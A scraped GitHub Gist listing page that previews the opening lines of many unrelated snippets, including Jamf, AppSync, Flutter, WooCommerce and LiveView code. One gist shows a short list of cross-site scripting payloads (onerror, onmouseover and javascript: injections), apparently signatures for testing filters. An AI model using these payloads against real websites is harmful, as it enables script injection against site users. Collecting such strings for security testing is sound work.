Skip to content

Instantly share code, notes, and snippets.

@smashism
smashism / unmanage-computers-modern-auth.sh
Last active June 3, 2024 15:44
Programmatically unmanage computers via Jamf Pro API using bearer-auth token authentication.
#!/bin/bash
##########
# title: unmanage-computers-modern-auth.sh
# author: dr. k | @smashism on github
# date: 2024-03-28
# note: include jssIDs where specified, other server/cred details will
# prompt when run via terminal.app
# disclaimer: provided as-is with no warranty (express or implied). please test!
#
@TheOnlyWayUp
TheOnlyWayUp / README.md
Last active June 3, 2024 15:39
Like all songs in a Youtube Music Playlist

This script likes all the songs in a Youtube Music Playlist at once.

How to use:

  • Visit a Playlist's page on ytm (URL looks like: https://music.youtube.com/playlist?list=...
  • Press ctrl + shift + j. This opens the Developer Console.
  • Copy the script in this gist (That's in script.js)
  • Paste the code into the Developer Console on the ytm Tab, hit enter.
  • Great, you're done!

Star ⭐ this gist if it was useful. Follows to my GitHub Profile are appreciated.

@angysmark
angysmark / appsync_client.py
Last active June 3, 2024 15:36
Make a GraphQL Appsync client in Python
import json
import os
from boto3 import Session as AWSSession
from requests_aws4auth import AWS4Auth
from gql import gql
from gql.client import Client
from gql.transport.requests import RequestsHTTPTransport
" Docs
" https://github.com/JetBrains/ideavim/wiki/set-commands
" Make sure to click reload on the right to take into effect
" Need to install more plugins as listed here
" https://plugins.jetbrains.com/bundles/7-ideavim-bundle
""" Common settings
""" https://github.com/JetBrains/ideavim/wiki/%22set%22-commands
@zhimiaoli
zhimiaoli / bt4g_Magnet_direct_show.user.js
Last active June 3, 2024 15:31
在bt4g.org的页面上直接显示磁力添加下载地址
// ==UserScript==
// @name bt4g Magnet direct show
// @namespace http://tampermonkey.net/
// @version 0.3
// @description 在bt4g.org的页面上直接显示磁力添加下载地址,现在仅支持详情页。
// @author lizhimiao
// @match https://bt4g.org/magnet/*
// @match https://bt4gprx.com/magnet/*
// @icon https://www.google.com/s2/favicons?domain=bt4g.org
// @grant none
@ravimallya
ravimallya / functions.php
Created August 7, 2017 15:41
WooCommerce disable New Order email for Admin/ShopManager orders.
<?php
// Change new order email recipient for registered customers
function wc_change_admin_new_order_email_recipient( $recipient, $order ) {
global $woocommerce;
if($order)
{
$order_data = $order->get_data();
if('checkout' == $order_data['created_via']) {
$recipient = "test@test.com"; // don't forget to put your actual email
} else {
@paulirish
paulirish / what-forces-layout.md
Last active June 3, 2024 15:29
What forces layout/reflow. The comprehensive list.

What forces layout / reflow

All of the below properties or methods, when requested/called in JavaScript, will trigger the browser to synchronously calculate the style and layout*. This is also called reflow or layout thrashing, and is common performance bottleneck.

Generally, all APIs that synchronously provide layout metrics will trigger forced reflow / layout. Read on for additional cases and details.

Element APIs

Getting box metrics
  • elem.offsetLeft, elem.offsetTop, elem.offsetWidth, elem.offsetHeight, elem.offsetParent
@PlugFox
PlugFox / Dockerfile
Last active June 3, 2024 15:29
How to build flutter app totally without internet with artifactory
# ------------------------------------------------------
# Dockerfile
# ------------------------------------------------------
# image: gitlab-registry.domain.tld/mobile/app/flutter
# authors: plugfox@gmail.com
# license: MIT
# ------------------------------------------------------
ARG VERSION="stable"
@xsscx
xsscx / XSS, Cross Site Scripting, Javascript, Meta, HTML Injection Signatures
Last active June 3, 2024 15:29
XSS, Cross Site Scripting, Javascript, Meta, HTML Injection Signatures
/* Remote File Include with HTML TAGS via XSS.Cx */
/* INCLUDE:URL http://xss.cx/examples/ultra-low-hanging-fruit/no-experience-required-javascript-injection-signatures-only-fools-dont-use.txt */
/* INCLUDE:URL http://xss.cx/examples/ultra-low-hanging-fruit/no-experience-required-http-header-injection-signatures-only-fools-dont-use.txt */
/* INCLUDE:URL http://xss.cx/examples/ultra-low-hanging-fruit/no-experience-required-css-injection-signatures-only-fools-dont-use.txt */
/* Updated September 29, 2014 */
/* RFI START */
<img language=vbs src=<b onerror=alert#1/1#>
<isindex action="javas&Tab;cript:alert(1)" type=image>
"]<img src=1 onerror=alert(1)>
<input/type="image"/value=""`<span/onmouseover='confirm(1)'>X`</span>
@thmsmlr
thmsmlr / app.js
Created February 14, 2024 16:54
Code Splitting for Phoenix LiveView Hooks
// assets/js/app.js
window._lazy_hooks = window._lazy_hooks || {};
let lazyHook = function(hook) {
return {
mounted() { window._lazy_hooks[hook].mounted(...arguments) },
beforeUpdate() { window._lazy_hooks[hook].beforeUpdate(...arguments) },
updated() { window._lazy_hooks[hook].updated(...arguments) },
destroyed() { window._lazy_hooks[hook].destroyed(...arguments) },
disconnected() { window._lazy_hooks[hook].disconnected(...arguments) },